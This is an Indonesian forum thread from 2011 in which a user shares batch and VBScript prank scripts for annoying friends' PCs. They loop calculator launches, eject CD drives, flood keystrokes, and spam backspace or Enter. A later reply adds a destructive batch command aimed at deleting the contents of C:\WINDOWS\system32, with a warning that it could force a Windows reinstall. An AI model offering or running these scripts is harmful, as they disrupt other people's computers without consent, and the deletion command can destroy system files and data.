Log in

View Full Version : Wah.... wah.... ane lagi g' beruntung nich ndan


gombang
31st March 2011, 09:27 PM
Kemarin ane :shout: marah laptop ane dimasukin virus yang g' jelas..............
udah ane priksa HD, RAM, CD-ROM, semuanya dah.....:stress
usut punya usut eh... ternya ta lapop ane dirusak pake file *.VBS donk.....:tersipu:

Nih ane kasih Script nya......:belajar:



Iseng Dengan Membuka Calculator Terus Menerus [/B]"]@ECHO off
:top
START %SystemRoot%\system32\cacl.exe
GOTO top

Kemudian save dengan “SUKASUKAANDA.BAT”



Iseng Mengeject CD-Drive Terus Menerus [/B]"]Set oWMP = CreateObject(”WMPlayer.OCX.7″)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

Kemudian save dengan “SUKASUKAANDA.VBS”




Iseng Dengan Keyboard [/B]"]Set wshShell = wscript.CreateObject(”WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “Maaf, Keyboard Tidak Berfungsi! Harap Diperbaiki”
loop

Kemudian save dengan “SUKASUKAANDA.VBS”




Iseng Dengan Backspace [/B]"]MsgBox “Maaf, Anda Harus Mengulang Kembali”
Set wshShell =wscript.CreateObject(”WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop

Kemudian save dengan “SUKASUKAANDA.VBS”



Iseng Dengan Pesan Lambat Notepad “Hello, how are you? I am good thanks! [/B]
"]WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject(”WScript.Shell”)
WshShell.Run “notepad”
WScript.Sleep 100
WshShell.AppActivate “Notepad”
WScript.Sleep 500
WshShell.SendKeys “Hel”
WScript.Sleep 500
WshShell.SendKeys “lo ”
WScript.Sleep 500
WshShell.SendKeys “, ho”
WScript.Sleep 500
WshShell.SendKeys “w a”
WScript.Sleep 500
WshShell.SendKeys “re ”
WScript.Sleep 500
WshShell.SendKeys “you”
WScript.Sleep 500
WshShell.SendKeys “? ”
WScript.Sleep 500
WshShell.SendKeys “I a”
WScript.Sleep 500
WshShell.SendKeys “m g”
WScript.Sleep 500
WshShell.SendKeys “ood”
WScript.Sleep 500
WshShell.SendKeys ” th”
WScript.Sleep 500
WshShell.SendKeys “ank”
WScript.Sleep 500
WshShell.SendKeys “s! “

Kemudian save dengan “SUKASUKAANDA.VBS”




Iseng Dengan Tombol Enter Terus Menerus [/B]"]Set wshShell = wscript.CreateObject(”WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “~(enter)”
loop
:peace: GUNAKAN DENGAN BIJAKYA ndan Jangan terlalu suka isengin teman tar kualat seperti ane........
Kemudian save dengan “SUKASUKAANDA.VBS”

aQskaCoLLyKK
31st March 2011, 09:31 PM
:tanya::tanya::tanya::tanya::tanya:

MAKSUD NYA APAAN NIH GAN...????

elleranger
31st March 2011, 09:35 PM
jiahahahahaha
nganas captain!!!! lanjutkan!!!
baru bkin ID lngsung bkin trit.... :mantap:

gombang
7th April 2011, 02:35 AM
Nih mah bkan Virus gan,,,,
bkin nya jg gmpang make NotePad...
Trus simpen dah file nya dengan extensi *.vbs
jdi dah t...

Script yg pling ane tkut ...

@echo off
del c:\WINDOWS\system32/*.*\q
Script ini biasa di dapet dri game yg di kompress make WinUHA

Plis jgn coba" Script ane ini... bisa" agan nginstall Windows lage... ane g bertanggung jawab

hehe ndan ini emang bukan si V tapi dampaknya bisa bikin data lapop ama cocom-nya raip apa lagi dikembangin bisa jadi V.....
:pede: